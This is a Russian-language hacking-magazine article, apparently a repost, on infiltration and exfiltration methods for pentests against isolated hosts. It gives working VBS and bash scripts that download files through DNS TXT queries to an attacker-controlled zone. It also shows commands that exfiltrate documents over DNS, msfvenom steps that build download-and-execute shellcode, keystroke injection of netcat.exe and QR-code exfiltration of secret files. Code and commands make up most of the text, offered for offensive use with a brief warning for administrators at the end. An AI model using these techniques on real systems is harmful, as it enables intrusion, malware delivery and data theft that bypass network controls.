Хакер - Инфильтрация и эксфильтрация. Изучаем методы передачи данных при пентестах
hacker_frei
s0i37
Содержание статьи
- Инфильтрация через DNS
- Эксфильтрация через DNS
- DNS-шелл-код
- Инфильтрация через нажатия клавиш
- Эксфильтрация через QR
- Нажатия клавиш + QR = TCP
Представь, что тебе удалось пробить сетевой периметр и получить доступ к серверу. Сервер входит во внутреннюю сеть компании, а это значит, что ты можешь проникнуть и туда. Но, к сожалению, скомпрометированный узел находится в DMZ и не имеет выхода в интернет. Сможем ли мы пробраться внутрь теперь?
В большинстве случаев внутренние сети никак не ограничивают разрешение DNS-имен произвольных зон. А поскольку природа DNS распределенная, тот или иной DNS-запрос может приходить точно на подконтрольный сервер злоумышленника. В итоге мы получим полноценный канал передачи данных.
В наши дни существуют замечательные решения для организации целых VPN-туннелей через DNS, такие как iodine. При этом, даже если ты не имеешь прав root, ты всегда можешь воспользоваться dnscat или dns2tcp, который пробросит произвольное соединение, скажем, на прокси. И в том и в другом случае ты сможешь преодолеть ограничения файрволов и начать продвижение по внутренней сети.
Но остается нерешенным главный вопрос: как передать эти программы в скомпрометированную сеть? В этом нам поможет набор моих скриптов для инфильтрации и эксфильтрации данных на все случаи жизни. Главная их особенность в полном отсутствии требований к административным привилегиям и прицел на переносимость — ведь на исследуемом сервере окажется либо Windows, либо Linux.
ИНФИЛЬТРАЦИЯ ЧЕРЕЗ DNS
DNS — наш незаменимый помощник. С помощью следующего кода мы можем скачать любой файл с использованием DNS на любую Windows:
dns_download.vbs
On Error Resume Next
Set objShell = CreateObject("WScript.Shell")
Set writer = CreateObject("Scripting.FileSystemObject").createtextfile("c:\windows\temp\out.exe")
For d = 1 To 1190
pos = 0
While pos = 0
Set exec = objShell.Exec("nslookup -type=txt d"&d&".txt.yourzone.tk")
res = exec.Stdout.ReadAll()
pos = inStr(1,res,"?")
txt = Mid(res,pos+1,253)
Wscript.Echo d & " " & txt
Wend
For b = 0 To Len(txt)/2-1
writer.Write Chr(CInt("&H" & Mid(txt,1+b*2,2)))
Next
Next
А вот скрипт для Linux:
dns_download.sh
#!/bin/bash
for i in `seq $2`
do
answ=`host -t txt "d$i.txt.$1"|cut -d ' ' -f 4`
echo ${answ:2:-1} | xxd -r -p - >> $3
echo $i ${answ:2:-1}
done
Язык VBS обеспечивает нам стопроцентную переносимость между всеми версиями Windows (в отличие от PowerShell). Под Linux, как всегда, используем bash.
На стороне скомпрометированного сервера скрипты запускаются следующим образом.
Вариант для Windows:
cscript.exe dns_download.vbs
Для Linux:
./dns_download.sh attacker.tk 1190 /tmp/dnscat
На стороне атакующего — так:
sudo ./dns_upload.py --udp --file dnscat.exe
Например, на скриншотах ниже программа dns2tcpc.exe передается через DNS с NS-сервера подконтрольной мне DNS-зоны на victim с использованием чистого VBS.


Произвольные данные будут проходить через TXT-записи в виде hexastring.
Далее мы можем развивать DNS-туннелирование уже с использованием привычных инструментов.
ЭКСФИЛЬТРАЦИЯ ЧЕРЕЗ DNS
Аналогичным образом мы можем и выгружать файлы с victim. На атакующей стороне это делается так:
sudo ./dns_download.py --udp --file secrets.docx
На стороне жертвы — так:
cscript.exe dns_upload.vbs c:\path\to\secrets.docx attacker.tk
DNS-ШЕЛЛ-КОД
При эксплуатации уязвимостей из интернета нужно помнить, что атакуемая система, скорее всего, находится в DMZ, откуда доступа в интернет у нее может и не быть. Так что заряжать эксплоит reverse_tcp шелл‑кодами окажется бесполезным занятием. Шелл не откроется, и ты подумаешь, что цель неуязвима, пропатчена или просто эксплоит нерабочий. Хотя все дело в payload.
Мы можем внедрить наш DNS-транспорт в любой шелл‑код, используя dns_download_exec:
msfvenom -p windows/exec CMD=$(cat dns_download_exec.bat) -f raw -o dns_shellcode
msfvenom -p linux/x86/exec CMD=$(cat dns_download_exec.sh) -f raw -o dns_shellcode
Такой шелл‑код в зависимости от обстоятельств можно вставить в любой эксплоит или инжектить сразу в память. Он не только скачивает по DNS, но еще и запускает принятый файл. Таким образом, например, мы можем сразу передать dnscat либо же что‑то свое.
А теперь перейдем к пивоту в реально трудных обстоятельствах.
ИНФИЛЬТРАЦИЯ ЧЕРЕЗ НАЖАТИЯ КЛАВИШ
Что делать, если DNS у нас не резолвит внешние зоны? Такое тоже может случиться.
Вне зависимости от того, где ты оказался, будь то реверс‑шелл, Telnet без возможности передачи файлов или, наконец RDP, на котором нет буфера обмена, ты всегда можешь «набить» любой файл, используя отправку нажатием клавиш.
В Linux есть специальная команда xdotool, позволяющая передать текст произвольной длины через простые нажатия клавиш. С помощью этой же утилиты мы можем предварительно активировать фокус на том или ином окне. И всего этого нам достаточно, чтобы передать содержимое любого файла в любое окно. Причем мы можем передать не только текстовый файл (какой‑то скрипт), но и бинарный (любую программу):
setxkbmap us
cat somescript.ps1 | ./text_send.sh
cat someprog.exe | base64 | ./text_send.sh
Чтобы исключить ошибочный набор текста в том же терминале, скрипт будет ждать клика мышью по тому окну, в котором требуется ввести текст. В примере, показанном на скриншотах ниже, мы успешно передали на атакуемый узел классический netcat.exe.


Этот метод по скорости схож с DNS и позволил за пятнадцать минут передать netcat.exe (57 Кбайт) без использования побочных каналов, только простым набором текста. Это примерно 125 байт/с, или 1 Мбайт за 2 ч. Этого вполне достаточно для передачи хакерского ПО за умеренное время.
Скрипт может оказаться полезным для автоматизации действий где угодно.
Например, всегда можно использовать text_send.sh, чтобы автоматизировать набор длинных скриптов на изолированных victim, если буфер обмена недоступен:
setxkbmap us
cat dns_download.bat | ./text_send.sh
Если вернуться немного назад, к теме с DNS, то написание в блокноте кода первичного DNS-загрузчика на victim можно было автоматизировать, просто прогнав его код через text_send.sh на атакующей стороне.

Аналогично можем «набить» и бинарник, закодированный в Base64.
ЭКСФИЛЬТРАЦИЯ ЧЕРЕЗ QR
Используя метод с нажатиями клавиш, мы можем загрузить любой файл на машину жертвы. Но как организовать передачу данных в обратном направлении? Есть возможность выкачивать файлы с victim через QR-коды. К счастью, в Linux (attacker-side) распознавание можно автоматизировать: graphicsmagick снимает скриншот экрана, а программа из zbar-tools распознаёт код.
А вот для генерации QR-кодов на victim-side была разработана простая кросс‑платформенная программка, использующая библиотеку QR-Code-generator. Код библиотеки zero-depends, так что он может быть кросс‑компилирован даже под другие архитектуры процессоров (это пригодится, когда проникновение выполняется через устройства наподобие IP-камер). Для компиляции и сборки ее под Windows и Linux выполняем следующие действия.
На стороне жертвы (Windows):
cl /c lib\qrcodegen.c
cl /c qr_upload.c
link /out:qr_upload.exe qr_upload.obj qrcodegen.obj
"change your color scheme to black on white"
chcp 866
set TIMEOUT=1000
set SIZE=100
qr_upload.exe c:\path\to\secret.bin
На стороне жертвы (Linux):
gcc -c lib/qrcodegen.c
gcc -c qr_upload.c
gcc qr_upload.c qrcodegen.o -o qr_upload
setterm -background white
setterm -foreground black
TIMEOUT=1000 SIZE=100 ./qr_upload /path/to/secret.bin
При генерации QR-кодов мы задаем через переменные среды количество байтов и продолжительность демонстрации картинки в миллисекундах. Тут важно тонко настроить процесс, чтобы принимающая сторона успевала распознавать данные. А на принимающей стороне (то есть на атакующей машине) тем временем все просто:
./qr_download.py
Скрипт вначале попросит ткнуть курсором в окно, из которого нужно распознавать (например, RDP-клиент). Дальше весь процесс полностью автоматизирован.
Что немаловажно, на victim QR-коды будут генерироваться прямо в консоль, и пользоваться GUI нам не понадобится. Рекомендуется установить классическую схему «черное на белом» для более качественного распознавания. На изображении ниже показан пример получения произвольного файла с изолированного хоста.

QR-эксфильтрация показывает скорость, сопоставимую с DNS. Скорость настраивается самостоятельно, в моем примере она составляла 100 байт/с. Так что, если ты располагаешь достаточным запасом времени, вполне реально выгрузить довольно большие объемы файлов.
НАЖАТИЯ КЛАВИШ + QR = TCP
Методы инфильтрации с keypress и эксфильтрации c QR-кодами предоставляют возможность передавать данные каждый в своем направлении. И скорости вполне может хватить, чтобы организовать TCP-туннелирование, которое позволит нам пробросить соединение на изолированный хост и начать атаковать узлы внутренних сетей.
Безопасность удаленного рабочего места сейчас особенно актуальна. И даже если администраторы запретили буфер обмена на RDP и решения вроде rdp2tcp не сработают либо ты пробился через Telnet, неспособный к передаче файлов, то всегда есть выход — это метод с передачей данных через QR/keypress. Его невозможно запретить. Кроме того, описанные здесь методы не потребуют поднимать привилегии на машине жертвы.
Надеюсь, эта статья продемонстрировала системным администраторам опасность резолвов произвольных DNS-зон. К подобным настройкам нужно проявлять повышенное внимание.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei